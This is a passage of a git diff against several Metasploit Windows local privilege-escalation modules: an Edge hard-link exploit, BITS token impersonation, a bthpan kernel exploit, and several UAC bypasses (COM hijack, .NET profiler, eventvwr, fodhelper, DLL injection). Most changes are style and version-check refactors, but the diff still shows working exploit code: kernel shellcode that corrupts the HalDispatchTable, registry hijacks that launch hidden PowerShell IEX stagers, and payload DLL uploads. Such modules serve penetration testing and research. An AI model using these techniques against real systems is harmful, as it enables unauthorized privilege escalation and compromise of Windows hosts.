"STATUS eq RUNNING"') + dat_path = expand_path('%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat') fail_with(Failure::NotFound, 'Path does not exist') unless exist?(dat_path) if session.arch == ARCH_X86 @@ -109,7 +112,7 @@ def exploit fail_with(Failure::UnexpectedReply, 'Did not retrieve expected output') unless mk_hard_link(dat_path, @rtf_path, link_file_name) print_good('Successfully created hard link') init_process - cmd_exec("taskkill /F /IM MicrosoftEdge.exe") + cmd_exec('taskkill /F /IM MicrosoftEdge.exe') write_payload diaghub_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(8..12)}") @@ -119,10 +122,12 @@ def exploit end def cleanup - folder_path = expand_path("%TEMP%\\etw") + folder_path = expand_path('%TEMP%\\etw') dir_rm(folder_path) - write_file(@rtf_path, @original_data) + unless @rtf_path.nil? + write_file(@rtf_path, @original_data) + end super end end diff --git a/modules/exploits/windows/local/bits_ntlm_token_impersonation.rb b/modules/exploits/windows/local/bits_ntlm_token_impersonation.rb index 9ab74229682cc..c1bd3499b016c 100644 --- a/modules/exploits/windows/local/bits_ntlm_token_impersonation.rb +++ b/modules/exploits/windows/local/bits_ntlm_token_impersonation.rb @@ -152,11 +152,10 @@ def initialize(info = {}) # - Checks if the session is not already SYSTEM def check privs = client.sys.config.getprivs - os = client.sys.config.sysinfo['OS'] - + version = get_version_info # Fast fails - if os.include?('Windows 7') || os.include?('Windows XP') - print_bad("Operating system: #{os}") + if version.build_number < Msf::WindowsVersion::Win8 && !version.windows_server? + print_bad("Operating system: #{version.product_name}") print_bad('BITS behavior on Windows 7 and previous has not been shown vulnerable.') return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/local/bthpan.rb b/modules/exploits/windows/local/bthpan.rb index f2d6727a5b17b..77fcaff9363f7 100644 --- a/modules/exploits/windows/local/bthpan.rb +++ b/modules/exploits/windows/local/bthpan.rb @@ -86,10 +86,10 @@ def ring0_shellcode end def fill_memory(proc, address, length, content) - session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE') unless proc.memory.writable?(address) - vprint_error("Failed to allocate memory") + vprint_error('Failed to allocate memory') return nil end vprint_good("#{address} is now writable") @@ -97,7 +97,7 @@ def fill_memory(proc, address, length, content) result = proc.memory.write(address, content) if result.nil? - vprint_error("Failed to write contents to memory") + vprint_error('Failed to write contents to memory') return nil end vprint_good("Contents successfully written to 0x#{address.to_s(16)}") @@ -132,14 +132,14 @@ def disclose_addresses(t) def check # covers both native x64 and WOW64 - if sysinfo["Architecture"] == ARCH_X64 + if sysinfo['Architecture'] == ARCH_X64 return Exploit::CheckCode::Safe end - os = sysinfo["OS"] - return Exploit::CheckCode::Safe unless os =~ /windows xp.*service pack 3/i + version = get_version_info + return Exploit::CheckCode::Safe unless version.build_number == Msf::WindowsVersion::XP_SP3 - handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + handle = open_device('\\\\.\\bthpan', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') return Exploit::CheckCode::Safe unless handle session.railgun.kernel32.CloseHandle(handle) @@ -153,25 +153,25 @@ def exploit end if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Exploit not available on this system") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system') end - handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + handle = open_device('\\\\.\\bthpan', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') if handle.nil? - fail_with(Failure::NoTarget, "Unable to open \\\\.\\bthpan device") + fail_with(Failure::NoTarget, 'Unable to open \\\\.\\bthpan device') end my_target = targets[0] - print_status("Disclosing the HalDispatchTable address...") + print_status('Disclosing the HalDispatchTable address...') @addresses = disclose_addresses(my_target) if @addresses.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Failed to disclose necessary address for exploitation. Aborting.") + fail_with(Failure::Unknown, 'Failed to disclose necessary address for exploitation. Aborting.') else - print_good("Address successfully disclosed.") + print_good('Address successfully disclosed.') end - print_status("Storing the shellcode in memory...") + print_status('Storing the shellcode in memory...') this_proc = session.sys.process.open kernel_shell = ring0_shellcode kernel_shell_address = 0x1 @@ -183,28 +183,28 @@ def exploit result = fill_memory(this_proc, kernel_shell_address, buf.length, buf) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") + fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory') end print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") - print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") - session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0) + print_status('Triggering the vulnerability, corrupting the HalDispatchTable...') + session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses['halDispatchTable'] + 0x4, 0) session.railgun.kernel32.CloseHandle(handle) - print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") + print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...') session.railgun.ntdll.NtQueryIntervalProfile(2, 4) - print_status("Checking privileges after exploitation...") + print_status('Checking privileges after exploitation...') unless is_system? fail_with(Failure::Unknown, "The privilege escalation wasn't successful") end - print_good("Privilege escalation successful!") + print_good('Privilege escalation successful!') p = payload.encoded print_status("Injecting #{p.length} bytes to memory and executing it...") unless execute_shellcode(p) - fail_with(Failure::Unknown, "Error while executing the payload") + fail_with(Failure::Unknown, 'Error while executing the payload') end end end diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 8ccec28e12cc4..6947cd8a4f0c7 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -51,7 +51,7 @@ def initialize(info = {}) register_options([ OptEnum.new('TECHNIQUE', [ true, 'Technique to use if UAC is turned off', - 'EXE', %w(PSH EXE) + 'EXE', %w[PSH EXE] ]), ]) end @@ -64,12 +64,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] @@ -107,16 +105,16 @@ def exploit session.sys.process.kill(pid) # delete the uac bypass payload file_rm(path_bypass) - file_rm("#{expand_path("%TEMP%")}\\tior.exe") - cmd_exec('cmd.exe', "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"") + file_rm("#{expand_path('%TEMP%')}\\tior.exe") + cmd_exec('cmd.exe', "/c del \"#{expand_path('%TEMP%')}\\w7e*.tmp\"") end def path_bypass - @bypass_path ||= "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}.exe" + @path_bypass ||= "#{expand_path('%TEMP%')}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.exe" end def path_payload - @payload_path ||= "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}.exe" + @path_payload ||= "#{expand_path('%TEMP%')}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.exe" end def upload_binaries! @@ -137,7 +135,7 @@ def upload_binaries! # # Upload UAC bypass to the filesystem # - upload_file("#{path_bypass}", bpexe) + upload_file(path_bypass.to_s, bpexe) print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..") write_file(path_payload, payload) @@ -159,24 +157,21 @@ def runas_method end def validate_environment! - fail_with(Failure::None, 'Already in elevated state') if is_admin? or is_system? + fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # # Verify use against Vista+ # - winver = sysinfo['OS'] - - unless winver =~ /Windows Vista|Windows 2008|Windows [78]/ - fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.") + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win81) + fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.") end if is_uac_enabled? print_status 'UAC is Enabled, checking level...' + elsif is_in_admin_group? + fail_with(Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...') else - if is_in_admin_group? - fail_with(Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end end diff --git a/modules/exploits/windows/local/bypassuac_comhijack.rb b/modules/exploits/windows/local/bypassuac_comhijack.rb index 16fa1e7c3c4f2..790b7325acd98 100644 --- a/modules/exploits/windows/local/bypassuac_comhijack.rb +++ b/modules/exploits/windows/local/bypassuac_comhijack.rb @@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Local include Post::Windows::Priv include Post::Windows::Registry include Post::Windows::Runas + include Post::Windows::Version include Exploit::FileDropper CLSID_PATH = 'HKCU\\Software\\Classes\\CLSID'.freeze @@ -69,25 +70,13 @@ def initialize(info = {}) end def check - vprint_status("System OS Detected: #{sysinfo['OS']}") + version_info = get_version_info + vprint_status("System OS Detected: #{version_info.product}") # return CheckCode::Safe('UAC is not enabled') unless is_uac_enabled? - if sysinfo['OS'] =~ /Windows (7|8|2008|2012)/ + if version_info.build_number.between?(Msf::WindowsVersion::Win7, Msf::WindowsVersion::Win10_1903) return CheckCode::Appears end - if sysinfo['OS'] =~ /Windows (10|2016)/ - sysinfo_value = sysinfo['OS'] - build_num_arr = sysinfo_value.split('Build') - return CheckCode::Safe('Unable to determine build Number') if build_num_arr.length < 2 - - build_num = build_num_arr[1].to_i - vprint_status("Detected build number: #{build_num}") - if build_num < 18362 - return CheckCode::Appears - else - return CheckCode::Safe - end - end return CheckCode::Safe end diff --git a/modules/exploits/windows/local/bypassuac_dotnet_profiler.rb b/modules/exploits/windows/local/bypassuac_dotnet_profiler.rb index 87ad752100940..db2eccf738072 100644 --- a/modules/exploits/windows/local/bypassuac_dotnet_profiler.rb +++ b/modules/exploits/windows/local/bypassuac_dotnet_profiler.rb @@ -63,7 +63,8 @@ def initialize(info = {}) end def check - if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled? + get_version_info + if is_uac_enabled? Exploit::CheckCode::Appears else Exploit::CheckCode::Safe @@ -73,7 +74,7 @@ def check def write_reg_value(registry_hash) vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}") begin - if not registry_key_exist?(registry_hash[:key_name]) + if !registry_key_exist?(registry_hash[:key_name]) registry_createkey(registry_hash[:key_name]) registry_hash[:delete_on_cleanup] = true else @@ -101,7 +102,7 @@ def remove_reg_value(registry_hash) registry_deleteval(registry_hash[:key_name], registry_hash[:value_name]) end rescue Rex::Post::Meterpreter::RequestError => e - print_bad("Unable to clean up registry") + print_bad('Unable to clean up registry') print_error(e.to_s) end end @@ -126,44 +127,45 @@ def exploit # get directory locations straight win_dir = session.sys.config.getenv('windir') - vprint_status("win_dir = " + win_dir) + vprint_status('win_dir = ' + win_dir) tmp_dir = session.sys.config.getenv('tmp') - vprint_status("tmp_dir = " + tmp_dir) - exploit_dir = win_dir + "\\System32\\" - vprint_status("exploit_dir = " + exploit_dir) - target_filepath = exploit_dir + "gpedit.msc" - vprint_status("target_filepath = " + target_filepath) - payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.dll' + vprint_status('tmp_dir = ' + tmp_dir) + exploit_dir = win_dir + '\\System32\\' + vprint_status('exploit_dir = ' + exploit_dir) + target_filepath = exploit_dir + 'gpedit.msc' + vprint_status('target_filepath = ' + target_filepath) + payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.dll' payload_pathname = tmp_dir + '\\' + payload_name # make payload - vprint_status("Making Payload") - vprint_status("payload_pathname = " + payload_pathname) + vprint_status('Making Payload') + vprint_status('payload_pathname = ' + payload_pathname) payload = generate_payload_dll uuid = SecureRandom.uuid vprint_status("UUID = #{uuid}") # This reg key will not hurt anything in windows 10+, but is not required. - unless sysinfo['OS'] =~ /Windows (2016|10)/ + version = get_version_info + unless version.build_number >= Msf::WindowsVersion::Win10_InitialRelease @reg_keys.push(key_name: "HKCU\\Software\\Classes\\CLSID\\{#{uuid}}\\InprocServer32", value_name: '', - value_type: "REG_EXPAND_SZ", + value_type: 'REG_EXPAND_SZ', value_value: payload_pathname, delete_on_cleanup: false) end - @reg_keys.push(key_name: "HKCU\\Environment", - value_name: "COR_PROFILER", - value_type: "REG_SZ", + reg_keys.push(key_name: "HKCU\\Environment", + value_name: 'COR_PROFILER', + value_type: 'REG_SZ', value_value: "{#{uuid}}", delete_on_cleanup: false) - @reg_keys.push(key_name: "HKCU\\Environment", - value_name: "COR_ENABLE_PROFILING", - value_type: "REG_SZ", - value_value: "1", + reg_keys.push(key_name: "HKCU\\Environment", + value_name: 'COR_ENABLE_PROFILING', + value_type: 'REG_SZ', + value_value: '1', delete_on_cleanup: false) - @reg_keys.push(key_name: "HKCU\\Environment", - value_name: "COR_PROFILER_PATH", - value_type: "REG_SZ", + reg_keys.push(key_name: "HKCU\\Environment", + value_name: 'COR_PROFILER_PATH', + value_type: 'REG_SZ', value_value: payload_pathname, delete_on_cleanup: false) @reg_keys.each do |key_hash| @@ -173,31 +175,31 @@ def exploit # Upload payload vprint_status("Uploading Payload to #{payload_pathname}") write_file(payload_pathname, payload) - vprint_status("Payload Upload Complete") + vprint_status('Payload Upload Complete') - vprint_status("Launching " + target_filepath) + vprint_status('Launching ' + target_filepath) begin session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true) rescue Rex::Post::Meterpreter::RequestError => e print_error(e.to_s) end print_warning("This exploit requires manual cleanup of '#{payload_pathname}'") - print_status("Please wait for session and cleanup....") + print_status('Please wait for session and cleanup....') end def cleanup if @reg_keys.present? - vprint_status("Removing Registry Changes") + vprint_status('Removing Registry Changes') @reg_keys.each do |key_hash| remove_reg_value(key_hash) end - vprint_status("Registry Changes Removed") + vprint_status('Registry Changes Removed') end end def check_permissions! unless check == Exploit::CheckCode::Appears - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin @@ -208,12 +210,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] diff --git a/modules/exploits/windows/local/bypassuac_eventvwr.rb b/modules/exploits/windows/local/bypassuac_eventvwr.rb index 3a0cc58f7a90a..f5d6985725d7b 100644 --- a/modules/exploits/windows/local/bypassuac_eventvwr.rb +++ b/modules/exploits/windows/local/bypassuac_eventvwr.rb @@ -11,13 +11,13 @@ class MetasploitModule < Msf::Exploit::Local include Post::Windows::Registry include Post::Windows::Runas - EVENTVWR_DEL_KEY = "HKCU\\Software\\Classes\\mscfile" - EVENTVWR_WRITE_KEY = "HKCU\\Software\\Classes\\mscfile\\shell\\open\\command" - EXEC_REG_VAL = '' # This maps to "(Default)" - EXEC_REG_VAL_TYPE = 'REG_SZ' - EVENTVWR_PATH = "%WINDIR%\\System32\\eventvwr.exe" - EVENTVWR_WOW64_PATH = "%WINDIR%\\SysWOW64\\eventvwr.exe" - PSH_PATH = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe" + EVENTVWR_DEL_KEY = 'HKCU\\Software\\Classes\\mscfile'.freeze + EVENTVWR_WRITE_KEY = 'HKCU\\Software\\Classes\\mscfile\\shell\\open\\command'.freeze + EXEC_REG_VAL = ''.freeze # This maps to "(Default)" + EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze + EVENTVWR_PATH = '%WINDIR%\\System32\\eventvwr.exe'.freeze + EVENTVWR_WOW64_PATH = '%WINDIR%\\SysWOW64\\eventvwr.exe'.freeze + PSH_PATH = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'.freeze CMD_MAX_LEN = 2081 def initialize(info = {}) @@ -68,7 +68,8 @@ def initialize(info = {}) end def check - if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled? + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_1607) Exploit::CheckCode::Appears else Exploit::CheckCode::Safe @@ -85,17 +86,15 @@ def exploit fail_with(Failure::NoTarget, 'Session and Target arch must match') end if sysinfo['Architecture'] == ARCH_X64 - vprint_status("Target is x64") + vprint_status('Target is x64') if session.arch == ARCH_X86 - vprint_status("Detected Target/Session mismatch. Syswow Required.") + vprint_status('Detected Target/Session mismatch. Syswow Required.') registry_view = REGISTRY_VIEW_64_BIT eventvwr_cmd = EVENTVWR_WOW64_PATH end - else + elsif target_arch.first == ARCH_X64 # if we're on x86, we can't handle x64 payloads - if target_arch.first == ARCH_X64 - fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') - end + fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') end # Validate that we can actually do things before we bother @@ -118,7 +117,7 @@ def exploit end payload_value = rand_text_alpha(8) - psh_path = expand_path("#{PSH_PATH}") + psh_path = expand_path(PSH_PATH.to_s) template_path = Rex::Powershell::Templates::TEMPLATE_DIR vprint_status("template_path #{template_path}") psh_payload = Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload.encoded) @@ -126,30 +125,30 @@ def exploit psh_stager = "\"IEX (Get-ItemProperty -Path #{EVENTVWR_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\"" cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}" - existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || "" + existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || '' if existing.empty? registry_createkey(EVENTVWR_WRITE_KEY, registry_view) end - print_status("Configuring payload and stager registry keys ...") + print_status('Configuring payload and stager registry keys ...') registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view) registry_setvaldata(EVENTVWR_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view) - cmd_path = expand_path("#{eventvwr_cmd}") + cmd_path = expand_path(eventvwr_cmd.to_s) print_status("Executing payload: #{cmd_path}") result = client.railgun.shell32.ShellExecuteA(nil, 'open', cmd_path, nil, nil, 'SW_HIDE') - if result['return'] > 32 then - print_good("eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.") - Rex::sleep(10) + if result['return'] > 32 + print_good('eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.') + Rex.sleep(10) else print_error("eventvwr.exe execution failed with Error Code: #{result['GetLastError']} - #{result['ErrorMessage']}") end handler(client) - print_status("Cleaning up registry keys ...") + print_status('Cleaning up registry keys ...') if existing.empty? registry_deletekey(EVENTVWR_DEL_KEY, registry_view) else @@ -166,7 +165,7 @@ def check_permissions! admin_group = is_in_admin_group? unless check == Exploit::CheckCode::Appears - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end unless is_in_admin_group? @@ -177,12 +176,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] diff --git a/modules/exploits/windows/local/bypassuac_fodhelper.rb b/modules/exploits/windows/local/bypassuac_fodhelper.rb index ed99a52d8c623..83877a7440948 100644 --- a/modules/exploits/windows/local/bypassuac_fodhelper.rb +++ b/modules/exploits/windows/local/bypassuac_fodhelper.rb @@ -11,12 +11,12 @@ class MetasploitModule < Msf::Exploit::Local include Post::Windows::Registry include Post::Windows::Runas - FODHELPER_DEL_KEY = "HKCU\\Software\\Classes\\ms-settings".freeze - FODHELPER_WRITE_KEY = "HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command".freeze + FODHELPER_DEL_KEY = 'HKCU\\Software\\Classes\\ms-settings'.freeze + FODHELPER_WRITE_KEY = 'HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command'.freeze EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze EXEC_REG_VAL = ''.freeze # This maps to "(Default)" EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze - FODHELPER_PATH = "%WINDIR%\\System32\\fodhelper.exe".freeze + FODHELPER_PATH = '%WINDIR%\\System32\\fodhelper.exe'.freeze CMD_MAX_LEN = 16383 def initialize(info = {}) @@ -67,7 +67,8 @@ def initialize(info = {}) end def check - if sysinfo['OS'] =~ /Windows (10)/ && is_uac_enabled? + version = get_version_info + if version.build_number >= Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && is_uac_enabled? Exploit::CheckCode::Appears else Exploit::CheckCode::Safe @@ -77,7 +78,7 @@ def check def exploit commspec = '%COMSPEC%' registry_view = REGISTRY_VIEW_NATIVE - psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe" + psh_path = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe' # Make sure we have a sane payload configuration if sysinfo['Architecture'] == ARCH_X64 @@ -87,18 +88,16 @@ def exploit if target_arch.first == ARCH_X64 # We can't use absolute path here as # %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session - psh_path = "powershell.exe" + psh_path = 'powershell.exe' end end if target_arch.first == ARCH_X86 # Invoking x86, so switch to SysWOW64 - psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe" + psh_path = '%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe' end - else + elsif target_arch.first == ARCH_X64 # if we're on x86, we can't handle x64 payloads - if target_arch.first == ARCH_X64 - fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') - end + fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') end if !payload.arch.empty? && (payload.arch.first != target_arch.first) @@ -137,14 +136,14 @@ def exploit psh_stager = "\"IEX (Get-ItemProperty -Path #{FODHELPER_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\"" cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}" - existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || "" + existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || '' exist_delegate = !registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil? if existing.empty? registry_createkey(FODHELPER_WRITE_KEY, registry_view) end - print_status("Configuring payload and stager registry keys ...") + print_status('Configuring payload and stager registry keys ...') unless exist_delegate registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view) end @@ -162,11 +161,11 @@ def exploit # Wait a copule of seconds to give the payload a chance to fire before cleaning up # TODO: fix this up to use something smarter than a timeout? - Rex::sleep(5) + Rex.sleep(5) handler(client) - print_status("Cleaining up registry keys ...") + print_status('Cleaining up registry keys ...') unless exist_delegate registry_deleteval(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view) end @@ -186,7 +185,7 @@ def check_permissions! admin_group = is_in_admin_group? unless check == Exploit::CheckCode::Appears - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end unless is_in_admin_group? @@ -197,12 +196,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb index 30510aa25d35c..a6c16a5e5d324 100644 --- a/modules/exploits/windows/local/bypassuac_injection.rb +++ b/modules/exploits/windows/local/bypassuac_injection.rb @@ -114,10 +114,8 @@ def bypass_dll_path unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i) fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System') end - else - if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i) - fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') - end + elsif (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i) + fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') end ::File.join(path, "bypassuac-#{sysarch}.dll") @@ -131,12 +129,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] @@ -185,7 +181,7 @@ def spawn_inject_proc(win_dir) end def upload_payload_dll(payload_filepath) - payload = generate_payload_dll({ :dll_exitprocess => true }) + payload = generate_payload_dll({ dll_exitprocess: true }) print_status('Uploading the Payload DLL to the filesystem...') begin vprint_status("Payload DLL #{payload.length} bytes long being uploaded..") @@ -199,13 +195,12 @@ def upload_payload_dll(payload_filepath) def validate_environment! fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? - winver = sysinfo['OS'] - - case winver - when /Windows (7|8|2008|2012|10)/ - print_good("#{winver} may be vulnerable.") + version_info = get_version_info + # According to https://raw.githubusercontent.com/hfiref0x/UACME/c998cb1f1bafd36f566f17208b915dc48dda5edf/README.md + if version_info.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win8) + print_good("#{version_info.product_name} may be vulnerable.") else - fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.") + fail_with(Failure::NotVulnerable, "#{version_info.product_name} is not vulnerable.") end if is_uac_enabled? @@ -220,13 +215,13 @@ def validate_environment! def get_file_paths(win_path, payload_filepath) paths = {} - case sysinfo['OS'] - when /Windows (7|2008)/ + version_info = get_version_info + if version_info.win7_or_2008r2? paths[:szElevDll] = 'CRYPTBASE.dll' paths[:szElevDir] = "#{win_path}\\System32\\sysprep" paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep" paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe" - when /Windows (8|2012|10)/ + else paths[:szElevDll] = 'NTWDBLIB.dll' paths[:szElevDir] = "#{win_path}\\System32" # This should be fine to be left blank diff --git a/modules/exploits/windows/local/bypassuac_injection_winsxs.rb b/modules/exploits/windows/local/bypassuac_injection_winsxs.rb index 4d3064c507abc..e0025db8e550c 100644 --- a/modules/exploits/windows/local/bypassuac_injection_winsxs.rb +++ b/modules/exploits/windows/local/bypassuac_injection_winsxs.rb @@ -93,9 +93,9 @@ def exploit # Establish the folder pattern so as to get those folders that match it sysarch = sysinfo['Architecture'] if sysarch == ARCH_X86 - targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*" + targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*' else - targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*" + targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*' end directoryNames = get_directories(payload_filepath, targetedDirectories) @@ -117,14 +117,12 @@ def bypass_dll_path if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i) fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') else - ::File.join(path, "bypassuac-x86.dll") + ::File.join(path, 'bypassuac-x86.dll') end + elsif (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i) + ::File.join(path, 'bypassuac-x64.dll') else - unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i) - fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System') - 